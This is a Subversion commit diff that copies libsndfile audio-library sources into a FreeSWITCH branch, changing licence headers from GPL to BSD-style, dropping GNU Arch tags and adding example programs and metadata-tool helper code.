+** modification, are permitted provided that the following conditions are
+** met:
 **
-** You should have received a copy of the GNU General Public License
-** along with this program; if not, write to the Free Software
-** Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.
+**     * Redistributions of source code must retain the above copyright
+**       notice, this list of conditions and the following disclaimer.
+**     * Redistributions in binary form must reproduce the above copyright
+**       notice, this list of conditions and the following disclaimer in
+**       the documentation and/or other materials provided with the
+**       distribution.
+**     * Neither the author nor the names of any contributors may be used
+**       to endorse or promote products derived from this software without
+**       specific prior written permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED
+** TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
+** PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
+** CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
+** EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
+** PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS;
+** OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY,
+** WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
+** OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF
+** ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 */
 
 #include	<stdio.h>
@@ -67,10 +81,3 @@
 	return 0 ;
 } /* main */
 
-/*
-** Do not edit or modify anything in this comment block.
-** The arch-tag line is a file identity tag for the GNU Arch
-** revision control system.
-**
-** arch-tag: 58127a0c-93a2-46cf-b615-fcb9adacf3f1
-*/

Modified: freeswitch/branches/seven/libs/libsndfile/examples/make_sine.c (14471 => 14472)


--- freeswitch/branches/seven/libs/libsndfile/examples/make_sine.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/libsndfile/examples/make_sine.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,19 +1,33 @@
 /*
-** Copyright (C) 1999-2005 Erik de Castro Lopo <erikd@mega-nerd.com>
+** Copyright (C) 1999-2009 Erik de Castro Lopo <erikd@mega-nerd.com>
 **
-** This program is free software; you can redistribute it and/or modify
-** it under the terms of the GNU General Public License as published by
-** the Free Software Foundation; either version 2 of the License, or
-** (at your option) any later version.
+** All rights reserved.
 **
-** This program is distributed in the hope that it will be useful,
-** but WITHOUT ANY WARRANTY; without even the implied warranty of
-** MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-** GNU General Public License for more details.
+** Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
 **
-** You should have received a copy of the GNU General Public License
-** along with this program; if not, write to the Free Software
-** Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.
+**     * Redistributions of source code must retain the above copyright
+**       notice, this list of conditions and the following disclaimer.
+**     * Redistributions in binary form must reproduce the above copyright
+**       notice, this list of conditions and the following disclaimer in
+**       the documentation and/or other materials provided with the
+**       distribution.
+**     * Neither the author nor the names of any contributors may be used
+**       to endorse or promote products derived from this software without
+**       specific prior written permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED
+** TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
+** PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
+** CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
+** EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
+** PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS;
+** OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY,
+** WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
+** OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF
+** ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 */
 
 #include	<stdio.h>
@@ -80,10 +94,3 @@
 	return	 0 ;
 } /* main */
 
-/*
-** Do not edit or modify anything in this comment block.
-** The arch-tag line is a file identity tag for the GNU Arch
-** revision control system.
-**
-** arch-tag: fd945a2c-a306-49ef-a262-6336ced15246
-*/

Modified: freeswitch/branches/seven/libs/libsndfile/examples/sfprocess.c (14471 => 14472)


--- freeswitch/branches/seven/libs/libsndfile/examples/sfprocess.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/libsndfile/examples/sfprocess.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,19 +1,33 @@
 /*
-** Copyright (C) 2001-2005 Erik de Castro Lopo <erikd@mega-nerd.com>
+** Copyright (C) 2001-2009 Erik de Castro Lopo <erikd@mega-nerd.com>
 **
-** This program is free software; you can redistribute it and/or modify
-** it under the terms of the GNU General Public License as published by
-** the Free Software Foundation; either version 2 of the License, or
-** (at your option) any later version.
+** All rights reserved.
 **
-** This program is distributed in the hope that it will be useful,
-** but WITHOUT ANY WARRANTY; without even the implied warranty of
-** MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-** GNU General Public License for more details.
+** Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
 **
-** You should have received a copy of the GNU General Public License
-** along with this program; if not, write to the Free Software
-** Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.
+**     * Redistributions of source code must retain the above copyright
+**       notice, this list of conditions and the following disclaimer.
+**     * Redistributions in binary form must reproduce the above copyright
+**       notice, this list of conditions and the following disclaimer in
+**       the documentation and/or other materials provided with the
+**       distribution.
+**     * Neither the author nor the names of any contributors may be used
+**       to endorse or promote products derived from this software without
+**       specific prior written permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED
+** TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
+** PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
+** CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
+** EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
+** PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS;
+** OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY,
+** WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
+** OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF
+** ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 */
 
 #include	<stdio.h>
@@ -121,11 +135,3 @@
     return ;
 } /* process_data */
 
-
-/*
-** Do not edit or modify anything in this comment block.
-** The arch-tag line is a file identity tag for the GNU Arch
-** revision control system.
-**
-** arch-tag: de9fdd1e-b807-41ef-9d51-075ba383e536
-*/

Copied: freeswitch/branches/seven/libs/libsndfile/examples/sndfile-to-text.c (from rev 14471, freeswitch/trunk/libs/libsndfile/examples/sndfile-to-text.c) (0 => 14472)


--- freeswitch/branches/seven/libs/libsndfile/examples/sndfile-to-text.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/libsndfile/examples/sndfile-to-text.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,126 @@
+/*
+** Copyright (C) 2008-2009 Erik de Castro Lopo <erikd@mega-nerd.com>
+**
+** All rights reserved.
+**
+** Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+**
+**     * Redistributions of source code must retain the above copyright
+**       notice, this list of conditions and the following disclaimer.
+**     * Redistributions in binary form must reproduce the above copyright
+**       notice, this list of conditions and the following disclaimer in
+**       the documentation and/or other materials provided with the
+**       distribution.
+**     * Neither the author nor the names of any contributors may be used
+**       to endorse or promote products derived from this software without
+**       specific prior written permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED
+** TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
+** PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
+** CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
+** EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
+** PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS;
+** OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY,
+** WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
+** OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF
+** ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+*/
+
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <ctype.h>
+
+#include <sndfile.h>
+
+#define	BLOCK_SIZE 512
+
+static void
+print_usage (char *progname)
+{	printf ("\nUsage : %s <input file> <output file>\n", progname) ;
+	puts ("\n"
+		"    Where the output file will contain a line for each frame\n"
+		"    and a column for each channel.\n"
+		) ;
+
+} /* print_usage */
+
+static void
+convert_to_text (SNDFILE * infile, FILE * outfile, int channels)
+{	float buf [channels * BLOCK_SIZE] ;
+	int k, m, readcount ;
+
+	while ((readcount = sf_readf_float (infile, buf, BLOCK_SIZE)) > 0)
+	{	for (k = 0 ; k < readcount ; k++)
+		{	for (m = 0 ; m < channels ; m++)
+				fprintf (outfile, " % 12.10f", buf [k * channels + m]) ;
+			fprintf (outfile, "\n") ;
+			} ;
+		} ;
+
+	return ;
+} /* convert_to_text */
+
+int
+main (int argc, char * argv [])
+{	char 		*progname, *infilename, *outfilename ;
+	SNDFILE	 	*infile = NULL ;
+	FILE		*outfile = NULL ;
+	SF_INFO	 	sfinfo ;
+
+	progname = strrchr (argv [0], '/') ;
+	progname = progname ? progname + 1 : argv [0] ;
+
+	if (argc != 3)
+	{	print_usage (progname) ;
+		return 1 ;
+		} ;
+
+	infilename = argv [1] ;
+	outfilename = argv [2] ;
+
+	if (strcmp (infilename, outfilename) == 0)
+	{	printf ("Error : Input and output filenames are the same.\n\n") ;
+		print_usage (progname) ;
+		return 1 ;
+		} ;
+
+	if (infilename [0] == '-')
+	{	printf ("Error : Input filename (%s) looks like an option.\n\n", infilename) ;
+		print_usage (progname) ;
+		return 1 ;
+		} ;
+
+	if (outfilename [0] == '-')
+	{	printf ("Error : Output filename (%s) looks like an option.\n\n", outfilename) ;
+		print_usage (progname) ;
+		return 1 ;
+		} ;
+
+	if ((infile = sf_open (infilename, SFM_READ, &sfinfo)) == NULL)
+	{	printf ("Not able to open input file %s.\n", infilename) ;
+		puts (sf_strerror (NULL)) ;
+		return 1 ;
+		} ;
+
+	/* Open the output file. */
+	if ((outfile = fopen (outfilename, "w")) == NULL)
+	{	printf ("Not able to open output file %s : %s\n", outfilename, sf_strerror (NULL)) ;
+		return 1 ;
+		} ;
+
+	fprintf (outfile, "# Converted from file %s.\n", infilename) ;
+	fprintf (outfile, "# Channels %d, Sample rate %d\n", sfinfo.channels, sfinfo.samplerate) ;
+
+	convert_to_text (infile, outfile, sfinfo.channels) ;
+
+	sf_close (infile) ;
+	fclose (outfile) ;
+
+	return 0 ;
+} /* main */
+

Copied: freeswitch/branches/seven/libs/libsndfile/examples/sndfilehandle.cc (from rev 14471, freeswitch/trunk/libs/libsndfile/examples/sndfilehandle.cc) (0 => 14472)


--- freeswitch/branches/seven/libs/libsndfile/examples/sndfilehandle.cc	                        (rev 0)
+++ freeswitch/branches/seven/libs/libsndfile/examples/sndfilehandle.cc	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,84 @@
+/*
+** Copyright (C) 2007 Erik de Castro Lopo <erikd@mega-nerd.com>
+**
+** This program is free software; you can redistribute it and/or modify
+** it under the terms of the GNU General Public License as published by
+** the Free Software Foundation; either version 2 of the License, or
+** (at your option) any later version.
+**
+** This program is distributed in the hope that it will be useful,
+** but WITHOUT ANY WARRANTY; without even the implied warranty of
+** MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+** GNU General Public License for more details.
+**
+** You should have received a copy of the GNU General Public License
+** along with this program; if not, write to the Free Software
+** Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.
+*/
+
+#include	<cstdio>
+#include	<cstring>
+
+#include	<sndfile.hh>
+
+#define		BUFFER_LEN		1024
+
+static void
+create_file (const char * fname, int format)
+{	static short buffer [BUFFER_LEN] ;
+
+	SndfileHandle file ;
+	int channels = 2 ;
+	int srate = 48000 ;
+
+	printf ("Creating file named '%s'\n", fname) ;
+
+	file = SndfileHandle (fname, SFM_WRITE, format, channels, srate) ;
+
+	memset (buffer, 0, sizeof (buffer)) ;
+
+	file.write (buffer, BUFFER_LEN) ;
+
+	puts ("") ;
+	/*
+	**	The SndfileHandle object will automatically close the file and
+	**	release all allocated memory when the object goes out of scope.
+	**	This is the Resource Acquisition Is Initailization idom.
+	**	See : http://en.wikipedia.org/wiki/Resource_Acquisition_Is_Initialization
+	*/
+} /* create_file */
+
+static void
+read_file (const char * fname)
+{	static short buffer [BUFFER_LEN] ;
+
+	SndfileHandle file ;
+
+	file = SndfileHandle (fname) ;
+
+	printf ("Opened file '%s'\n", fname) ;
+	printf ("    Sample rate : %d\n", file.samplerate ()) ;
+	printf ("    Channels    : %d\n", file.channels ()) ;
+
+	file.read (buffer, BUFFER_LEN) ;
+
+	puts ("") ;
+
+	/* RAII takes care of destroying SndfileHandle object. */
+} /* read_file */
+
+int
+main (void)
+{	const char * fname = "test.wav" ;
+
+	puts ("\nSimple example showing usage of the C++ SndfileHandle object.\n") ;
+
+	create_file (fname, SF_FORMAT_WAV | SF_FORMAT_PCM_16) ;
+
+	read_file (fname) ;
+
+	puts ("Done.\n") ;
+	return 0 ;
+} /* main */
+
+

Modified: freeswitch/branches/seven/libs/libsndfile/man/Makefile.am (14471 => 14472)


--- freeswitch/branches/seven/libs/libsndfile/man/Makefile.am	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/libsndfile/man/Makefile.am	2009-08-09 18:53:22 UTC (rev 14472)
@@ -4,9 +4,3 @@
 
 EXTRA_DIST = sndfile-info.1 sndfile-play.1 sndfile-convert.1
 
-## Do not edit or modify anything in this comment block.
-## The arch-tag line is a file identity tag for the GNU Arch 
-## revision control system.
-##
-## arch-tag: a7e49b1a-d2f1-414d-aa5a-3a91ef566d9f
-

Modified: freeswitch/branches/seven/libs/libsndfile/man/sndfile-convert.1 (14471 => 14472)


--- freeswitch/branches/seven/libs/libsndfile/man/sndfile-convert.1	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/libsndfile/man/sndfile-convert.1	2009-08-09 18:53:22 UTC (rev 14472)
@@ -20,9 +20,3 @@
 .SH AUTHOR
 This manual page was written by Erik de Castro Lopo <erikd@mega-nerd.com>.
 
-.\" Do not edit or modify anything in this comment block.
-.\" The following line is a file identity tag for the GNU Arch 
-.\" revision control system.
-
-.\" arch-tag: 23aa443e-f38d-488b-b7e3-290fc5c77d20
-

Modified: freeswitch/branches/seven/libs/libsndfile/man/sndfile-info.1 (14471 => 14472)


--- freeswitch/branches/seven/libs/libsndfile/man/sndfile-info.1	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/libsndfile/man/sndfile-info.1	2009-08-09 18:53:22 UTC (rev 14472)
@@ -14,9 +14,3 @@
 others). Further additions have been made by Erik de Castro Lopo 
 <erikd@mega-nerd.com>.
 
-.\" Do not edit or modify anything in this comment block.
-.\" The following line is a file identity tag for the GNU Arch 
-.\" revision control system.
-
-.\" arch-tag: f9eca35e-5519-434d-bc55-fe845df977cd
-

Modified: freeswitch/branches/seven/libs/libsndfile/man/sndfile-play.1 (14471 => 14472)


--- freeswitch/branches/seven/libs/libsndfile/man/sndfile-play.1	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/libsndfile/man/sndfile-play.1	2009-08-09 18:53:22 UTC (rev 14472)
@@ -20,6 +20,7 @@
 .SH DESCRIPTION
 sndfile-play plays the specified sound file using :
 .EX
+ALSA on Linux
 /dev/dsp on systems supporting OSS (including Linux)
 /dev/audio on Sun Solaris
 CoreAudio on Apple MacOSX
@@ -33,8 +34,3 @@
 others). Further additions have been made by Erik de Castro Lopo 
 <erikd@mega-nerd.com>.
 
-.\" Do not edit or modify anything in this comment block.
-.\" The arch-tag line is a file identity tag for the GNU Arch
-.\" revision control system.
-
-.\" arch-tag: 5a0120d9-040c-464e-b01e-89dc2c2428c9

Copied: freeswitch/branches/seven/libs/libsndfile/programs (from rev 14471, freeswitch/trunk/libs/libsndfile/programs)

Property changes: freeswitch/branches/seven/libs/libsndfile/programs


Name: svn:ignore
   + Makefile.in
.deps
Makefile

Deleted: freeswitch/branches/seven/libs/libsndfile/programs/Makefile.am

Copied: freeswitch/branches/seven/libs/libsndfile/programs/Makefile.am (from rev 14471, freeswitch/trunk/libs/libsndfile/programs/Makefile.am) (0 => 14472)


--- freeswitch/branches/seven/libs/libsndfile/programs/Makefile.am	                        (rev 0)
+++ freeswitch/branches/seven/libs/libsndfile/programs/Makefile.am	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,36 @@
+## Process this file with automake to produce Makefile.in
+
+bin_PROGRAMS = sndfile-info sndfile-play sndfile-convert sndfile-jackplay sndfile-cmp \
+				sndfile-metadata-set sndfile-metadata-get
+
+OS_SPECIFIC_CFLAGS = @OS_SPECIFIC_CFLAGS@
+OS_SPECIFIC_LINKS = @OS_SPECIFIC_LINKS@
+
+INCLUDES = -I$(top_srcdir)/src $(OS_SPECIFIC_CFLAGS)
+
+# This is the BeOS version of sndfile-play. It needs to be compiled with the C++
+# compiler.
+EXTRA_DIST = sndfile-play-beos.cpp test-sndfile-metadata-set.py
+
+sndfile_info_SOURCES = sndfile-info.c
+sndfile_info_LDADD = $(top_builddir)/src/libsndfile.la
+
+sndfile_play_SOURCES = sndfile-play.c
+sndfile_play_LDADD = $(top_builddir)/src/libsndfile.la $(OS_SPECIFIC_LINKS) $(ALSA_LIBS)
+
+sndfile_jackplay_SOURCES = sndfile-jackplay.c
+sndfile_jackplay_CFLAGS = $(JACK_CFLAGS)
+sndfile_jackplay_LDADD = $(top_builddir)/src/libsndfile.la $(JACK_LIBS)
+
+sndfile_convert_SOURCES = sndfile-convert.c common.c common.h
+sndfile_convert_LDADD = $(top_builddir)/src/libsndfile.la
+
+sndfile_cmp_SOURCES = sndfile-cmp.c
+sndfile_cmp_LDADD = $(top_builddir)/src/libsndfile.la
+
+sndfile_metadata_set_SOURCES = sndfile-metadata-set.c common.c common.h
+sndfile_metadata_set_LDADD = $(top_builddir)/src/libsndfile.la
+
+sndfile_metadata_get_SOURCES = sndfile-metadata-get.c
+sndfile_metadata_get_LDADD = $(top_builddir)/src/libsndfile.la
+

Deleted: freeswitch/branches/seven/libs/libsndfile/programs/common.c

Copied: freeswitch/branches/seven/libs/libsndfile/programs/common.c (from rev 14471, freeswitch/trunk/libs/libsndfile/programs/common.c) (0 => 14472)


--- freeswitch/branches/seven/libs/libsndfile/programs/common.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/libsndfile/programs/common.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,266 @@
+/*
+** Copyright (C) 1999-2009 Erik de Castro Lopo <erikd@mega-nerd.com>
+** Copyright (C) 2008 George Blood Audio
+**
+** All rights reserved.
+**
+** Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+**
+**     * Redistributions of source code must retain the above copyright
+**       notice, this list of conditions and the following disclaimer.
+**     * Redistributions in binary form must reproduce the above copyright
+**       notice, this list of conditions and the following disclaimer in
+**       the documentation and/or other materials provided with the
+**       distribution.
+**     * Neither the author nor the names of any contributors may be used
+**       to endorse or promote products derived from this software without
+**       specific prior written permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED
+** TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
+** PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
+** CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
+** EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
+** PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS;
+** OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY,
+** WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
+** OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF
+** ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+*/
+
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <ctype.h>
+
+#include <sndfile.h>
+
+#include "common.h"
+
+#define	 BUFFER_LEN	4096
+
+#define	MIN(x,y)	((x) < (y) ? (x) : (y))
+
+void
+sfe_copy_data_fp (SNDFILE *outfile, SNDFILE *infile, int channels)
+{	static double	data [BUFFER_LEN], max ;
+	int		frames, readcount, k ;
+
+	frames = BUFFER_LEN / channels ;
+	readcount = frames ;
+
+	sf_command (infile, SFC_CALC_SIGNAL_MAX, &max, sizeof (max)) ;
+
+	if (max < 1.0)
+	{	while (readcount > 0)
+		{	readcount = sf_readf_double (infile, data, frames) ;
+			sf_writef_double (outfile, data, readcount) ;
+			} ;
+		}
+	else
+	{	sf_command (infile, SFC_SET_NORM_DOUBLE, NULL, SF_FALSE) ;
+
+		while (readcount > 0)
+		{	readcount = sf_readf_double (infile, data, frames) ;
+			for (k = 0 ; k < readcount * channels ; k++)
+				data [k] /= max ;
+			sf_writef_double (outfile, data, readcount) ;
+			} ;
+		} ;
+
+	return ;
+} /* sfe_copy_data_fp */
+
+void
+sfe_copy_data_int (SNDFILE *outfile, SNDFILE *infile, int channels)
+{	static int	data [BUFFER_LEN] ;
+	int		frames, readcount ;
+
+	frames = BUFFER_LEN / channels ;
+	readcount = frames ;
+
+	while (readcount > 0)
+	{	readcount = sf_readf_int (infile, data, frames) ;
+		sf_writef_int (outfile, data, readcount) ;
+		} ;
+
+	return ;
+} /* sfe_copy_data_int */
+
+/*==============================================================================
+*/
+
+static int
+merge_broadcast_info (SNDFILE * infile, SNDFILE * outfile, int format, const METADATA_INFO * info)
+{	SF_BROADCAST_INFO_2K binfo ;
+	int infileminor ;
+
+	memset (&binfo, 0, sizeof (binfo)) ;
+
+	if ((SF_FORMAT_TYPEMASK & format) != SF_FORMAT_WAV)
+	{	printf ("Error : This is not a WAV file and hence broadcast info cannot be added to it.\n\n") ;
+		return 1 ;
+		} ;
+
+	infileminor = SF_FORMAT_SUBMASK & format ;
+
+	switch (infileminor)
+	{	case SF_FORMAT_PCM_16 :
+		case SF_FORMAT_PCM_24 :
+		case SF_FORMAT_PCM_32 :
+			break ;
+
+		default :
+			printf (
+				"Warning : The EBU Technical Recommendation R68-2000 states that the only\n"
+				"          allowed encodings are Linear PCM and MPEG3. This file is not in\n"
+				"          the right format.\n\n"
+				) ;
+			break ;
+		} ;
+
+	if (sf_command (infile, SFC_GET_BROADCAST_INFO, &binfo, sizeof (binfo)) == 0)
+	{	if (infile == outfile)
+		{	printf (
+				"Error : Attempting in-place broadcast info update, but file does not\n"
+				"        have a 'bext' chunk to modify. The solution is to specify both\n"
+				"        input and output files on the command line.\n\n"
+				) ;
+			return 1 ;
+			} ;
+		} ;
+
+#define REPLACE_IF_NEW(x) \
+		if (info->x != NULL) \
+		{	memset (binfo.x, 0, sizeof (binfo.x)) ; \
+			memcpy (binfo.x, info->x, MIN (strlen (info->x), sizeof (binfo.x))) ; \
+			} ;
+
+	REPLACE_IF_NEW (description) ;
+	REPLACE_IF_NEW (originator) ;
+	REPLACE_IF_NEW (originator_reference) ;
+	REPLACE_IF_NEW (origination_date) ;
+	REPLACE_IF_NEW (origination_time) ;
+	REPLACE_IF_NEW (umid) ;
+
+	/* Special case for coding_history because we may want to append. */
+	if (info->coding_history != NULL)
+	{	if (info->coding_hist_append)
+		{	int slen = strlen (binfo.coding_history) ;
+
+			while (slen > 1 && isspace (binfo.coding_history [slen - 1]))
+				slen -- ;
+
+			memcpy (binfo.coding_history + slen, info->coding_history, sizeof (binfo.coding_history) - slen) ;
+			}
+		else
+		{	size_t slen = MIN (strlen (info->coding_history), sizeof (binfo.coding_history)) ;
+
+			memset (binfo.coding_history, 0, sizeof (binfo.coding_history)) ;
+			memcpy (binfo.coding_history, info->coding_history, slen) ;
+			binfo.coding_history_size = slen ;
+			} ;
+		} ;
+
+	if (sf_command (outfile, SFC_SET_BROADCAST_INFO, &binfo, sizeof (binfo)) == 0)
+	{	printf ("Error : Setting of broadcast info chunks failed.\n\n") ;
+		return 1 ;
+		} ;
+
+	return 0 ;
+} /* merge_broadcast_info*/
+
+static void
+update_strings (SNDFILE * outfile, const METADATA_INFO * info)
+{
+	if (info->title != NULL)
+		sf_set_string (outfile, SF_STR_TITLE, info->title) ;
+
+	if (info->copyright != NULL)
+		sf_set_string (outfile, SF_STR_TITLE, info->copyright) ;
+
+	if (info->artist != NULL)
+		sf_set_string (outfile, SF_STR_ARTIST, info->artist) ;
+
+	if (info->comment != NULL)
+		sf_set_string (outfile, SF_STR_TITLE, info->comment) ;
+
+	if (info->date != NULL)
+		sf_set_string (outfile, SF_STR_DATE, info->date) ;
+
+	if (info->album != NULL)
+		sf_set_string (outfile, SF_STR_TITLE, info->album) ;
+
+	if (info->license != NULL)
+		sf_set_string (outfile, SF_STR_TITLE, info->license) ;
+
+} /* update_strings */
+
+
+
+void
+sfe_apply_metadata_changes (const char * filenames [2], const METADATA_INFO * info)
+{	SNDFILE *infile = NULL, *outfile = NULL ;
+	SF_INFO sfinfo ;
+	METADATA_INFO tmpinfo ;
+	int error_code = 0 ;
+
+	memset (&sfinfo, 0, sizeof (sfinfo)) ;
+	memset (&tmpinfo, 0, sizeof (tmpinfo)) ;
+
+	if (filenames [1] == NULL)
+		infile = outfile = sf_open (filenames [0], SFM_RDWR, &sfinfo) ;
+	else
+	{	infile = sf_open (filenames [0], SFM_READ, &sfinfo) ;
+
+		/* Output must be WAV. */
+		sfinfo.format = SF_FORMAT_WAV | (SF_FORMAT_SUBMASK & sfinfo.format) ;
+		outfile = sf_open (filenames [1], SFM_WRITE, &sfinfo) ;
+		} ;
+
+	if (infile == NULL)
+	{	printf ("Error : Not able to open input file '%s' : %s\n", filenames [0], sf_strerror (infile)) ;
+		error_code = 1 ;
+		goto cleanup_exit ;
+		} ;
+
+	if (outfile == NULL)
+	{	printf ("Error : Not able to open output file '%s' : %s\n", filenames [1], sf_strerror (outfile)) ;
+		error_code = 1 ;
+		goto cleanup_exit ;
+		} ;
+
+	if (info->has_bext_fields && merge_broadcast_info (infile, outfile, sfinfo.format, info))
+	{	error_code = 1 ;
+		goto cleanup_exit ;
+		} ;
+
+	update_strings (outfile, info) ;
+
+	if (infile != outfile)
+	{	int infileminor = SF_FORMAT_SUBMASK & sfinfo.format ;
+
+		/* If the input file is not the same as the output file, copy the data. */
+		if ((infileminor == SF_FORMAT_DOUBLE) || (infileminor == SF_FORMAT_FLOAT))
+			sfe_copy_data_fp (outfile, infile, sfinfo.channels) ;
+		else
+			sfe_copy_data_int (outfile, infile, sfinfo.channels) ;
+		} ;
+
+cleanup_exit :
+
+	if (outfile != NULL && outfile != infile)
+		sf_close (outfile) ;
+
+	if (infile != NULL)
+		sf_close (infile) ;
+
+	if (error_code)
+		exit (error_code) ;
+
+	return ;
+} /* sfe_apply_metadata_changes */
+

Deleted: freeswitch/branches/seven/libs/libsndfile/programs/common.h

Copied: freeswitch/branches/seven/libs/libsndfile/programs/common.h (from rev 14471, freeswitch/trunk/libs/libsndfile/programs/common.h) (0 => 14472)


--- freeswitch/branches/seven/libs/libsndfile/programs/common.h	                        (rev 0)
+++ freeswitch/branches/seven/libs/libsndfile/programs/common.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,64 @@
+/*
+** Copyright (C) 1999-2009 Erik de Castro Lopo <erikd@mega-nerd.com>
+**
+** All rights reserved.
+**
+** Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+**
+**     * Redistributions of source code must retain the above copyright
